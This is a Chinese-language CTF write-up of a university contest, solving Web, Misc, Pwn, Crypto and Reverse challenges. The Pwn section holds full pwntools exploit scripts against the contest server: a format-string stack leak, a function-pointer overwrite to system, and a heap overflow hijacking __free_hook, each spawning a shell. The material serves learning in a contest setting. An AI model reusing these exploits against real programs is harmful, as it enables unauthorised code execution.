周末打了打中国海洋大学的校赛,顺利地打上了榜一。而某大学校赛一拖再拖,希望能够好好反思反思。感谢 Aidai 👴 和 三万 👴 以及贵蓝鲸社团其他成员同贵校一起带来的良好比赛体验。
Web
Web 不大会做,做个签到摆烂。
Web - 你比香农都牛逼
在 js 代码里面发现异常。
复制到控制台直接跑就欧尅。
Misc
Misc 挺好玩的,除了一个看不懂的题目之外,其他的都挺有意思。
Misc - 填个问卷吧
问卷题。
Misc - warmatap
挺有意思的听力题,就顺着视频,反复拉条,其实听出来 flag{wozuixi
之后就差不多能猜到是啥了,边听边猜就出了,没去复现,flag 应该是 flag{wozuixihuanwarmale}
Misc - simplepcap
Tcp 流发现异常,转化为原始数据后导出得到 elf 文件。
打开后是简单的异或,脚本:
1 2 3 4 s= '>:0"&\x1C:1&5\x1C0*\x1C3" 3\x1C:!"!8$"/%' [::-1 ] for i in s: print (chr (ord (i)^0x43 ),end='' )
Misc - bitjungle
俩张图片,猜一下是盲水印。找个脚本解一下。
1 2 ❯ python3 bwmforpy.py decode bitjungle.png bitjungle2.png ex.png --alpha 20 image<bitjungle.png> + image(encoded)<bitjungle2.png> -> watermark<ex.png>
提示下载地址,去比赛网址输就行了。解压后得到一张小黄鸭。 binwalk 后得到加密的压缩包(?)。
1 2 3 4 5 6 7 8 ❯ binwalk 00000000.jpg -e DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 JPEG image data, EXIF standard 12 0xC TIFF image data, big-endian, offset of first image directory: 8 240443 0x3AB3B Zip archive data, encrypted at least v1.0 to extract, compressed size: 58, uncompressed size: 46, name: flag.txt 240661 0x3AC15 End of Zip archive
压缩包爆破密码没有出来,其他地方也莫得,考虑是不是打开方式有问题。将加密的压缩包丢入 010 里面看一下。
发现一堆很奇怪的字符。复制 16 进制出来 From hex 看一下:
百度部分文本查到关键字:
找到 兽音译者 网站,翻译得到:
用密码打开压缩包获得最终 flag:
Pwn
Pwn 都是三万 👴 出的,对我这种萌新很友好,做出来的每一题我应该都抢到了一血,cpplike 很好玩我很喜欢。遗憾就是没有学会 ouc_language
,看看有机会能不能复现一下。同时也找三万 👴 嫖到了往届的题目,值得回去好好学习一下。
Pwn - flag_in_stack
简单的格式化字符串,利用 %n$p
修改偏移反复试探就可以了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import reimport osfrom pwn import *from LibcSearcher import *se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) sea = lambda delim,data :p.sendafter(delim, data) rc = lambda numb=4096 :p.recv(numb) ru = lambda delims, drop=True :p.recvuntil(delims, drop) uu32 = lambda data :u32(data.ljust(4 , '\0' )) uu64 = lambda data :u64(data.ljust(8 , '\0' )) info_addr = lambda tag, addr :p.info(tag + ': {:#x}' .format (addr)) def debug (breakpoint ='' ): glibc_dir = '~/Exps/Glibc/glibc-2.27/' gdbscript = 'directory %smalloc/\n' % glibc_dir gdbscript += 'directory %sstdio-common/\n' % glibc_dir gdbscript += 'directory %sstdlib/\n' % glibc_dir gdbscript += 'directory %slibio/\n' % glibc_dir elf_base = int (os.popen('pmap {}| awk \x27{{print \x241}}\x27' .format (p.pid)).readlines()[1 ], 16 ) if elf.pie else 0 gdbscript += 'b *{:#x}\n' .format (int (breakpoint ) + elf_base) if isinstance (breakpoint , int ) else breakpoint gdb.attach(p, gdbscript) time.sleep(1 ) elf = ELF('./flag_in_stack' ) context(arch = elf.arch, os = 'linux' ,log_level = 'debug' ,terminal = ['tmux' , 'splitw' , '-hp' ,'60' ]) p = process('./flag_in_stack' ) p = remote('39.106.29.44' ,10003 ) i = 15 payload=str ("%{}$p" .format (i).ljust(8 ,'\0' )) sl(payload) print (p64(0x3332327b67616c66 )+p64(0x39382d3238343831 )+p64(0x2d613465342d6537 )+p64(0x3339622d39396239 )+p64(0x6638663737313938 )+p64(0xa7d33 ))print (p.recv())p.interactive()
Pwn - babykernel
签到题,简单修改一下启动文件就可以跑了,自带了提权的 exp,flag 甚至在本地都可以读。
Pwn - cpplike
很有意思的题目。漏洞点在 debug 函数。恰好可以溢出 8 个字节可以覆盖 calculate
的函数指针。虽然最后会让 dest 回来,但是应该是 strcpy 复制过来的 got 表截断了部分字节,导致下次利用可以成功。(打的时候边打边调没有注意,复现才注意到)
先利用的这个溢出把 calculate
覆盖成了 strcpy 。由于 num 我们是可以控制的所以可以在 v6 处写上 read 函数在 libc 中的地址,然后利用 info
函数 leak 出 libc 。之后就很好办了,再次利用 debug
函数覆盖 caculate
指针为 system,最后利用 rename 函数在 v6 处写上 /bin/sh\0
,再次调用 calculate
就能 getshell了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 import reimport osfrom pwn import *from LibcSearcher import *se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) sea = lambda delim,data :p.sendafter(delim, data) rc = lambda numb=4096 :p.recv(numb) ru = lambda delims, drop=True :p.recvuntil(delims, drop) uu32 = lambda data :u32(data.ljust(4 , '\0' )) uu64 = lambda data :u64(data.ljust(8 , '\0' )) info_addr = lambda tag, addr :p.info(tag + ': {:#x}' .format (addr)) def debug (breakpoint ='' ): glibc_dir = '~/Exps/Glibc/glibc-2.27/' gdbscript = 'directory %smalloc/\n' % glibc_dir gdbscript += 'directory %sstdio-common/\n' % glibc_dir gdbscript += 'directory %sstdlib/\n' % glibc_dir gdbscript += 'directory %slibio/\n' % glibc_dir elf_base = int (os.popen('pmap {}| awk \x27{{print \x241}}\x27' .format (p.pid)).readlines()[1 ], 16 ) if elf.pie else 0 gdbscript += 'b *{:#x}\n' .format (int (breakpoint ) + elf_base) if isinstance (breakpoint , int ) else breakpoint gdb.attach(p, gdbscript) time.sleep(1 ) elf = ELF('./calculate' ) context(arch = elf.arch, os = 'linux' ,log_level = 'debug' ,terminal = ['tmux' , 'splitw' , '-hp' ,'60' ]) p = remote('39.106.29.44' ,10303 ) def menu (choice ): sla('choice >' ,str (choice)) def change (name ): menu(3 ) sea('name?' ,name) change('A' *24 +p64(0x4010B0 )) sl('1' ) sla('input your num1 and num2:' ,str (int (elf.got['read' ]))) sl('uuu!' ) sla('choice >' ,'4' ) ru('name : ' ) read_addr = uu64(rc(6 )) info_addr('read' ,read_addr) libc_base = read_addr - 0x10dff0 info_addr('LIBC' ,libc_base) system_addr = libc_base + 0x522c0 ones = [(libc_base+i) for i in [0xe3b2e ,0xe3b31 ,0xe3b34 ,0xe3d23 ,0xe3d26 ]] ''' sla('choice >','2') sleep(1) sl('/bin/sh\0') ''' sleep(0.1 ) change('A' *24 +p64(system_addr)) sla('choice >' ,'2' ) sleep(0.1 ) sl('/bin/sh\0' ) sl('1' ) sleep(0.1 ) sl('u' ) sleep(0.1 ) sl('u' ) p.interactive() ''' 0xe3b2e execve("/bin/sh", r15, r12) constraints: [r15] == NULL || r15 == NULL [r12] == NULL || r12 == NULL 0xe3b31 execve("/bin/sh", r15, rdx) constraints: [r15] == NULL || r15 == NULL [rdx] == NULL || rdx == NULL 0xe3b34 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL '''
Pwn - bomb_cat
题目一开始没有给 libc ,但是印象中好像和某个题是一样的 libc ,我就当的 2.31 做的,所以没有影响。
超长堆溢出
随便割个大 chunk ,leak 出 libc 就可以乱打了,还是利用Heap Overflow 控制下个 cat 的 content 指针劫持 __free_hook
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 import reimport osfrom pwn import *from LibcSearcher import *se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) sea = lambda delim,data :p.sendafter(delim, data) rc = lambda numb=4096 :p.recv(numb) ru = lambda delims, drop=True :p.recvuntil(delims, drop) uu32 = lambda data :u32(data.ljust(4 , '\0' )) uu64 = lambda data :u64(data.ljust(8 , '\0' )) info_addr = lambda tag, addr :p.info(tag + ': {:#x}' .format (addr)) def debug (breakpoint ='' ): glibc_dir = '~/Exps/Glibc/glibc-2.27/' gdbscript = 'directory %smalloc/\n' % glibc_dir gdbscript += 'directory %sstdio-common/\n' % glibc_dir gdbscript += 'directory %sstdlib/\n' % glibc_dir gdbscript += 'directory %slibio/\n' % glibc_dir elf_base = int (os.popen('pmap {}| awk \x27{{print \x241}}\x27' .format (p.pid)).readlines()[1 ], 16 ) if elf.pie else 0 gdbscript += 'b *{:#x}\n' .format (int (breakpoint ) + elf_base) if isinstance (breakpoint , int ) else breakpoint gdb.attach(p, gdbscript) time.sleep(1 ) elf = ELF('./bomb_cat' ) context(arch = elf.arch, os = 'linux' ,log_level = 'debug' ,terminal = ['tmux' , 'splitw' , '-hp' ,'60' ]) p = remote('39.106.29.44' ,10304 ) def menu (choice ): sla('5 => Go to sleep.' ,str (choice)) def add (size,data,kilo=100 ,length=200 ): menu(1 ) sla("What's your cat's size:" ,str (size)) sla("What's your cat's kilo:" ,str (kilo)) sla("What's your cat's length:" ,str (length)) sla('musT paSTe sOmEthINg oN It:' ,str (data)) def edit (id ,data ): menu(2 ) sla('Which cat:' ,str (id )) sla('It should be this:' ,str (data)) def show (id ): menu(3 ) sla('Which cat:' ,str (id )) def dele (id ): menu(4 ) sla('Which cat:' ,str (id )) add(0x20 ,'a0' ) add(0x20 ,'a1' ) add(0x420 ,'a2' ) add(0x20 ,'a3' ) dele(2 ) add(0x60 ,'' ) show(2 ) ru("Cat's content:\n" ) libc_leak = uu64(ru('\n' )) libc_base = (libc_leak<<8 ) - 0x1ecf00 info_addr('libc_leak' ,libc_leak) info_addr('LIBC' ,libc_base) libc = ELF('./libc6.so' ) __free_hook = libc_base + libc.sym['__free_hook' ] system_addr = libc_base + libc.sym['system' ] edit(0 ,'A' *0x28 +p64(0x21 )+p64(123 )+p64(0x64 )+p64(__free_hook)+p64(0x31 )) edit(1 ,p64(system_addr)) edit(0 ,'/bin/sh\0' ) dele(0 ) p.interactive()
Crypto
Crypto 除了 leaks 没有思路之外,其他的还好。
Crypto - rsa0
c 1 = m e 1 m o d ( e 1 ∗ e 2 ) c 1 = m e 1 + k ∗ e 1 ∗ e 2 c 1 = m e 1 m o d e 1 c 1 = m m o d e 1 ( 费马小定理 ) 同理有 c 2 = m m o d e 2 ( c 1 − m ) ( c 2 − m ) = 0 m o d ( e 1 ∗ e 2 ) c_1=m^{e1}\mod(e1*e2) \\
c_1 = m^{e_1}+k*e_1*e_2 \\
c_1 = m^{e_1}\mod e_1\\
c_1 = m\mod e_1 (费马小定理)\\
同理有c_2 = m\mod e_2 \\
(c_1-m)(c_2-m)=0\mod(e_1*e_2)
c 1 = m e 1 mod ( e 1 ∗ e 2 ) c 1 = m e 1 + k ∗ e 1 ∗ e 2 c 1 = m e 1 mod e 1 c 1 = m mod e 1 ( 费马小定理 ) 同理有 c 2 = m mod e 2 ( c 1 − m ) ( c 2 − m ) = 0 mod ( e 1 ∗ e 2 )
之后就是 CopperSmith 了,我不大会但是找脚本摁打打出来了。
Crypto - rsa1
摁爆破,一分多钟就出了,然后就常规了。
Crypto - Classicbc
很好玩的 base cbc
base64 解码后复制过来,三个一组慢慢异或着解就 ok 了,注意不能直接调 split() 会 🐔
1 2 3 4 5 s = ['fla' ,'' ,'0vq' ,'C' ,'*oz' ,'E' ,'sa' ] print ('fla' ,end='' )for i in range (1 ,len (s)): for j in range (3 ): print (chr (ord (s[i][j])^ord (s[i-1 ][j])),end='' )
Reverse
Re 就比较简单了,大概也是因为面向新生的缘故,没怎么做就可以做出来。
Re - easyxor
逻辑比较简单,dump 出来异或回去就有 flag 了。
1 2 3 4 s = [0x44 , 0x4E , 0x43 , 0x45 , 0x59 , 0x5A , 0x6D , 0x50 , 0x7D , 0x13 , 0x51 , 0x7D , 0x54 , 0x11 , 0x50 , 0x5B , 0x5B , 0x5B , 0x5B , 0x5B , 0x5B , 0x5B , 0x5B , 0x5B , 0x5B , 0x7D , 0x47 , 0x16 , 0x51 , 0x5B , 0x5F ] for i in s: print (chr (i^0x22 ),end='' ) flag{xOr_1s_v3ryyyyyyyyyy_e4sy}
Re - oh_my_python
拖到在线反编译网站得到反编译结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 def chall (): flag = input () l = 'CKNOPWY_acfghkloruwy{}' index = [ 10 , 14 , 8 , 11 , 20 , 0 , 8 , 2 , 7 , 6 , 3 , 17 , 7 , 1 , 3 , 5 , 2 , 7 , 12 , 3 , 5 , 7 , 4 , 19 , 9 , 7 , 18 , 15 , 16 , 13 , 21 ] answer = '' for i in index: answer += l[i] if flag == answer: print 'Right!' else : print 'No!' if __name__ == '__main__' : chall()
直接改一下 chall() 逻辑塞个 print(answer)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 def chall (): flag = input () l = 'CKNOPWY_acfghkloruwy{}' index = [ 10 , 14 , 8 , 11 , 20 , 0 , 8 , 2 , 7 , 6 , 3 , 17 , 7 , 1 , 3 , 5 , 2 , 7 , 12 , 3 , 5 , 7 , 4 , 19 , 9 , 7 , 18 , 15 , 16 , 13 , 21 ] answer = '' for i in index: answer += l[i] print (answer) chall()
Re - asm_master
不想读汇编
Re - xpu
1 2 3 4 5 6 7 8 9 10 .\upx.exe -d .\xpu_compress Ultimate Packer for eXecutables Copyright (C) 1996 - 2020 UPX 3.96 w Markus Oberhumer, Laszlo Molnar & John Reiser Jan 23 rd 2020 File size Ratio Format Name -------------------- ------ ----------- ----------- 2255680 <- 752128 33.34 % linux/amd64 xpu_compress Unpacked 1 file.
不会手脱,找个工具解决了。
点开之后还没加载完 flag 就糊脸上来了。base64 解完就是了。